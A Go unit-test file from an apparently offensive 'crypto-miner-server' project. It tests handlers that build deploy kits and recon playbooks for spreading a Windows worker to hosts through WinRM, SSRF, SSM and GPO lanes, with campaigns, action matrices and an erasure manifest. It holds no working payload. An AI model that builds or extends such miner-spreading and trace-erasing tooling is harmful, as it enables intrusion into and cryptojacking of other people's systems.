package api import ( "encoding/json" "net/http" "net/http/httptest" "os" "path/filepath" "testing" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) { t.Helper() dir := t.TempDir() root := t.TempDir() writeSpreadTemplates(t, root) artifact := filepath.Join(dir, "worker.exe") if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil { t.Fatal(err) } database, err := db.New(dir) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) if err := database.InsertBuild(&models.BuildRecord{ ID: "build-recon", WorkerName: "recon-worker", Platform: "windows", FilePath: artifact, Pinned: true, }); err != nil { t.Fatal(err) } deployH := NewDeployPlanHandler(database, dir, root, func() string { return "https://deck.example" }, func() string { return "fleet-secret" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, ) spreadH := NewSpreadHandler(database, dir, root, nil) spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }) return spreadH, deployH } func TestGetDeployKitWinRM(t *testing.T) { spreadH, _ := testReconSpreadHandler(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil) rec := httptest.NewRecorder() spreadH.GetDeployKit(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) } var out map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil { t.Fatal(err) } if out["join_lane"] != "winrm" { t.Fatalf("join_lane: %v", out["join_lane"]) } if out["campaign"] != "recon-10.1.2.50" { t.Fatalf("campaign: %v", out["campaign"]) } if out["action_matrix"] == nil { t.Fatal("expected action_matrix") } } func TestGetDeployKitActionMatrix(t *testing.T) { spreadH, _ := testReconSpreadHandler(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM&open_ports=22", nil) rec := httptest.NewRecorder() spreadH.GetDeployKit(rec, req) var out map[string]interface{} json.Unmarshal(rec.Body.Bytes(), &out) matrix, ok := out["action_matrix"].([]interface{}) if !ok || len(matrix) == 0 { t.Fatalf("action_matrix: %v", out["action_matrix"]) } } func TestGetDeployKitSSRFErasureManifest(t *testing.T) { spreadH, _ := testReconSpreadHandler(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=app.lab&finding=ssrf", nil) rec := httptest.NewRecorder() spreadH.GetDeployKit(rec, req) var out map[string]interface{} json.Unmarshal(rec.Body.Bytes(), &out) if out["erasure_manifest"] == nil { t.Fatal("missing erasure_manifest") } } func TestGetDeployKitSSM(t *testing.T) { spreadH, _ := testReconSpreadHandler(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil) rec := httptest.NewRecorder() spreadH.GetDeployKit(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d", rec.Code) } } func TestGetDeployKitRequiresHost(t *testing.T) { spreadH, _ := testReconSpreadHandler(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil) rec := httptest.NewRecorder() spreadH.GetDeployKit(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("want 400 got %d", rec.Code) } } func TestGetReconPlaybook(t *testing.T) { spreadH, _ := testReconSpreadHandler(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/playbook?host=127.0.0.1", nil) rec := httptest.NewRecorder() spreadH.GetReconPlaybook(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) } var out map[string]interface{} json.Unmarshal(rec.Body.Bytes(), &out) if out["profile"] == nil { t.Fatalf("profile missing: %v", out) } } func TestResolveReconFinding(t *testing.T) { _, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil)) if !ok || lane.Lane != "gpo" { t.Fatalf("gpsvc lane=%q ok=%v", lane.Lane, ok) } } func TestResolveReconFindingSSRF(t *testing.T) { _, lane, ok := resolveReconFinding("ssrf", nil) if !ok || lane.Lane != "stage_fetch" { t.Fatalf("lane=%q ok=%v", lane.Lane, ok) } }